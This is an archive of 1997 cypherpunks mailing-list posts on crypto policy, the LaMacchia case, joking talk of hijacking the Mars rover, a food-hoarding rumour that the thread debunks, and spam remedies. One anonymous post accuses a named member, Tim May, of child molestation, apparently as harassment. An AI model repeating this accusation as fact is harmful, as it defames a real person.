PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 8 Jul 1997 01:07:18 +0800
To: dlv@bwalk.dm.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <D73g0D7w165w@bwalk.dm.com>
Message-ID: <33c11bde062e002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM said:
> Mike <Michael.Johnson@mejl.com> writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
> 
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).
> 

And the charge was dismissed.

http://www.leepfrog.com/E-Law/Cases/US_v_LaMacchia.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 00:00:19 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970706063925.4547A-100000@ece>
Message-ID: <33C13960.7AAF@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find?
>
The appropriate question is how much encryption (and other security) is
needed if interrupting the traffic causes the loss of a great deal of
money and difficult (if possible at all) fixes.  This is the mindset of
the Fed security wienies when specifying and designing; thus it must be
the mindset of the non-Fed Wienie looking to crack.

 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Marc J. Wohler" <mwohler@ix.netcom.com>
Date: Tue, 8 Jul 1997 00:24:01 +0800
To: bennett_t1@popmail.firn.edu
Subject: Re: can i join
Message-ID: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM 7/6/97 -0500, you wrote:
>
>Drifter0@aol.com wrote:
>
>> thanx
>
>   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
>proper procedures.
>
>Time for the flame-form.
>-----------------------------
>Dear:

Bennett,

I got some chuckles from your  'Flame Form' and sympathize with view
expressed therein.

However:

How do you propose that we get our import  message of strong crypto
awareness out to the clueless if we display elitism, impatience and
intolerance to their ignorance?

Marc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 8 Jul 1997 03:55:41 +0800
To: cypherpunks@cyberpass.net
Subject: Hoarding
Message-ID: <v03102804afe6f7f7a09d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I heard yesterday, second hand, that hoarding of large amounts of food is
now a federal crime.  The explanation I heard was that it was intended to
thwart militias.  Has anyone else on the list heard this loony info?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 19:06:10 +0800
To: cypherpunks@toad.com
Subject: [STEGO] RSA
Message-ID: <199707071052.MAA11508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Given Tim C. May's propensity to molest little children, is it any
surprise that the state of California wants to have him castrated?

  o       o
/<         >\ Tim C. May
\\\_______///
//         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 04:10:44 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
Message-ID: <Pine.3.89.9707071257.A950-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Yes, the idea was to take over the rover. A DoS would be an extremely 
idiotic thing to do. Of course so would be damaging the rover. But a 
little cruise... :-)

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Ryan Anderson wrote:

> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 8 Jul 1997 01:06:53 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C13960.7AAF@acm.org>
Message-ID: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> The appropriate question is how much encryption (and other security) is
> needed if interrupting the traffic causes the loss of a great deal of
> money and difficult (if possible at all) fixes.  This is the mindset of
> the Fed security wienies when specifying and designing; thus it must be
> the mindset of the non-Fed Wienie looking to crack.

Well, if it matters any, my initial impression was that this discussion
was based upon taking over the rover, not necessarily upon just performing
a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
taking it over, on the other hand could be fun..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:15:50 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <Pine.GSO.3.96.970707130040.2063A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Steve Schear wrote:

> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

I have not heard of such a thing.  If it did become law, you can bet you
would hear alot of screams from the Mormon church over it.  (Members are
encouraged to keep n-years worth of supplies in case of emergencies.)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:39:17 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707071515.RAA19807@basement.replay.com>
Message-ID: <2seH0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Mike <Michael.Johnson@mejl.com> writes:
> > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > violation (please correct me if I'm wrong),
> >
> > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > He got arrested and charged with something irrelevant (wire fraud??).
> 
> The case against him was lost.

I was studying up on his case just the other day and wasn't sure
if it was all over.  The DA fucked up by charging him with something
totally irrelevant and not copyright violations.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:18 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <19970707091103.21159@bywater.songbird.com>
Message-ID: <6weH0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> > I think I figured something out.
> > 
> > Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> > list, we get bot noise. The bot's listening for Tim.
> > 
> It should be clear by now that Tim actually runs the bot.

And blames me for it.  How sneaky!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:29 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <v03102800afe6d1ed98f2@[207.167.93.63]>
Message-ID: <24eH0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> and I had been (vaguely) ascribing this quiescence to the problems Vulis
> has said he is having with his normal computer.

Tim, I'm not having any "problems" with bwalk (the only computer with the
modem - others are in no way connected to the internet for security reasons)
I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
before I add NT 4.0.
I think it's sort of a change for the better.  (I still have W95, Linux,
and OS/2 on other boxes.)
(Oh and by the way I got the CD writer - thanks again to everyone who gave
feedback regarding the backup systems)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:44:03 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.96.970707132303.2063B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Ray Arachelian wrote:

> On Mon, 7 Jul 1997, Ulf [iso-8859-1] Möller wrote:
> 
> > Why should the US government get access to the source code of foreign
> > product being imported to the US?
> 
> Because they are scum who don't care about the property rights of
> corporations.  I wonder what would happen if Sun would instead say "Fuck
> you no way" or whether they were threatened into giving it up?

After what happened to Inslaw, you would think Sun would know better than
to give it to them.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Jul 1997 01:52:52 +0800
To: cypherpunks@toad.com
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: <v03020905afe6d332a2ec@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


- -----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:41:29 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.3.89.9707071257.A950-0100000@netcom2>
Message-ID: <Pine.GSO.3.96.970707132638.2063C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Lucky Green wrote:

> Yes, the idea was to take over the rover. A DoS would be an extremely 
> idiotic thing to do. Of course so would be damaging the rover. But a 
> little cruise... :-)

Or someone could just replace the signal with one of their own.  Having
Elvis drive up in a '57 Chevy on the Martian landscape would be a cute
hack. ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 8 Jul 1997 04:51:12 +0800
To: cypherpunks@toad.com
Subject: Australian encryption policy report released!
Message-ID: <199707072033.NAA28013@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Electronic Frontiers Australia has succeeded in obtaining the "Walsh
report", with a few paragraphs excised.

It's available at http://www.efa.org.au/Issues/Crypto/Walsh/.

It is a broad technology and policy review like the US National
Research Council's, though it's more succinct (only a hundred pages
long) and done by a single person, on contract to the Australian
Government.  I recommend reading it.  Here's a sample:

"The review encountered significant scepticism about mandated key
escrow or TTP systems.  The national sovereignty of the agencies
providing these services could not be guaranteed, with consequent
implications for the national interest.  There is the strong
likelihood that these agencies would become the major targets of
foreign intelligence services."

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 04:46:55 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <v03102804afe7028e0544@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:48 PM -0700 7/7/97, Steve Schear wrote:
>I heard yesterday, second hand, that hoarding of large amounts of food is
>now a federal crime.  The explanation I heard was that it was intended to
>thwart militias.  Has anyone else on the list heard this loony info?
>

This rumor floats through alt.survival and misc.survival about once every
few weeks. Usually someone claims they "heard" this, but no one can produce
a cite for an actual law.

(Eventually someone steps forward and mentions the various Economic
Emergency Powers Act provisions, and this feeds the rumors further...in a
few weeks, when someone else announces they've "heard" this.)

The Mormons and other religious groups are well known to stockpile large
amounts of food. I recall that good Mormons are supposed to have on the
order of  a year's supply of food.

The effect on militia activities is nil, and even a law which made felons
of most Mormons and prepared folks would have no effect on militias.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 06:06:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hoarding
In-Reply-To: <v03102804afe7028e0544@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970707135218.2063E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Tim May wrote:

> The Mormons and other religious groups are well known to stockpile large
> amounts of food. I recall that good Mormons are supposed to have on the
> order of  a year's supply of food.
> 
> The effect on militia activities is nil, and even a law which made felons
> of most Mormons and prepared folks would have no effect on militias.

It would have a profound effect on government as a high percentage of
government workers are Mormons.  (Especially amongst agencies like the
IRS.)  There are some interesting reasons as to why this is the case.  It
has to do with the great efforts the Mormon church has gone to to be
accepted by the "authorities".  

But that is a discussion best suited to alt.religion.mormon.recovery...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 06:17:38 +0800
To: John Gilmore <gnu@toad.com>
Subject: Re: Australian encryption policy report released!
In-Reply-To: <199707072033.NAA28013@toad.com>
Message-ID: <Pine.GSO.3.96.970707135642.2063F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, John Gilmore wrote:

> Electronic Frontiers Australia has succeeded in obtaining the "Walsh
> report", with a few paragraphs excised.

Does anyone know what parts were excluded?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 7 Jul 1997 20:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970707141240.00967c00@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz wrote:
>Excuse me.  Certain parts of that CDROM are already available overseas.
>If they are not posted to the net how does that prevent them from being
>available overseas?

You mean that it would be fine for foreigners to copy and sell the CD, but
not to put it on the net? Well, copyright law being what it is, makes this
a bit tricky. An ftp administrator have never been sentenced for copyright
violation (please correct me if I'm wrong), but CD copiers are thrown in jail
all the time. The distinction that the courts make is that of profit.

Sure, they can buy the book, but the electronic version is obviously more
useful to some people, or there wouldn't be any market for it.

I know foreigners who would like to put a copy of Applied Cryptography in
their PalmPilots, to carry around for reference. They can't do that legaly,
and that makes crypto less accessible.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 8 Jul 1997 02:45:32 +0800
To: Alan <alano@teleport.com>
Subject: Re: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: <3.0.2.32.19970707142902.03808124@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:43 AM 7/7/97 -0700, Alan wrote:
>Reminds me of some of the "government is dead" threads of a couple of
>years back.  My response was something to the effect of "The government is
>not like an old man dying in a corner.  It is more like an old man having
>an epeliptic seizure in a crowded mall with lots of guns.".  If the
>govenrment is on the way to losing its power over the people, they are
>going to take as many of us down with them on the way out.

Though neither the USSR nor the DDR did when they "went out."  Likewise the 
Catholic Church when it "went out" (as a secular political power in Europe) 
at some point between 1400 and 1900.  

Those three institutions killed the bulk of their victims in their earlier 
more virile phases than they did in their senesence.  That seems likely with 
our government as well.

Single incidents like Bell's arrest prove nothing.  Operation Sun Devil 
looked big at the time but did not lead to an effective government crackdown 
on cyberspace.  It was actually a tactical and strategic loss for them.  If 
Bell gets a dismissal or pleads to minor charges, it will be a loss for the 
Feds as well.  Their losses against Phil Z and Jake Baker exposed the 
weakness of their control regimes when applied to the Net.

DCF
 


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RzIVPBDV90Q=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 8 Jul 1997 03:03:38 +0800
To: Ulf Möller <ulf@fitug.de>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <9707071618.AA63188@public.uni-hamburg.de>
Message-ID: <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Ulf [iso-8859-1] Möller wrote:

> Why should the US government get access to the source code of foreign
> product being imported to the US?

Because they are scum who don't care about the property rights of
corporations.  I wonder what would happen if Sun would instead say "Fuck
you no way" or whether they were threatened into giving it up?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 03:43:16 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
Message-ID: <33C16E41.6270@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> 
> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
Picture breaking the Rover -- How many Earthly JoyRides end in Wrecks?
Picture "Finding an undocumented feature" which causes it to cease and
desist.
Picture the simple lost time on target for the mission.

Each of these and a bunch more goes into the "cost of takeover" for the
equation.  In short, of course it is encrypted.

DISCLAIMER:  Never said it, never meant it, and I apologize to anyone
who got the impression I was speaking as thpough others were theorizing
on simple break the rich kid's toys escapades.

PHM
-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 8 Jul 1997 04:06:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: <97Jul7.155601edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 6 Jul 1997, Lucky Green wrote:

> 
> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

I have the Dish Network (www.dishnetwork.com 1-800-333-dish).  They don't
have NASA, but do have SCI-FI, and National Empowerment Television
(net.fcref.org), both C-spans, court-tv, several cnn/cnbc type channels.
I am really happy with it.  With their "better system" (dual lbnf) you can
hang up to 4 receivers - which have to be their own, but the 5000 can get
off-air and includes event timers and even caller-id!  They also offer 6
channel HBO, multi cinemax, etc.  I would take a look.

The big dish would get most of the above, and NASA, but would cost more.

I also looked at primestar/ussb/etc.  Also lots of channels, but a
different set.  I like NET, and some of the channels only on dish, but you
may prefer the channels other providers have

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 8 Jul 1997 04:07:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.LNX.3.91.970705114146.2618B-100000@fatmans.demon.co.uk>
Message-ID: <97Jul7.160022edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 5 Jul 1997, Paul Bradley wrote:

> > > Frankly, I see no other solution to this problem in the long run except for
> > > postage, which means it's probably time to start figuring out, in earnest,
> > > how to make it all work. Whoever becomes the lowest cost producer of this
> > > kind of software stands to make a whole *bunch* of money.
> > 
> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> I personally see hashcash as the ideal way to solve this problem, and in 
> Adam Back`s analysis of the hashcash solution he mentions mailing lists 
> and suggest that filtering software have an explicit "filter in" command, 
> so you could eliminate any mail coming from the list from needing to have 
> cash attached. Of course the spammers could then just spam mailing lists, 
> but that it a much smaller problem than the current random UCE problem.

If all mail relays were either limited to sending to or from their
domains, and had a settable quota on Bcc: it would go a long way.  Since
mailers are high in Bcc, they could get a large quota.

I don't think spammers now send 500 discrete messages, especially long
ones, merely Bcc: 500 people.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Jul 1997 04:20:12 +0800
To: cypherpunks@toad.com
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <v0302090aafe6fb5415be@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:48 pm -0400 on 7/7/97, Steve Schear wrote:


> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

Nope, but if it's true, they'll have the entire Mormon denomination down
their throats.

Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
Ribbit.

Cheers,
Bob Hettinga

-----------------
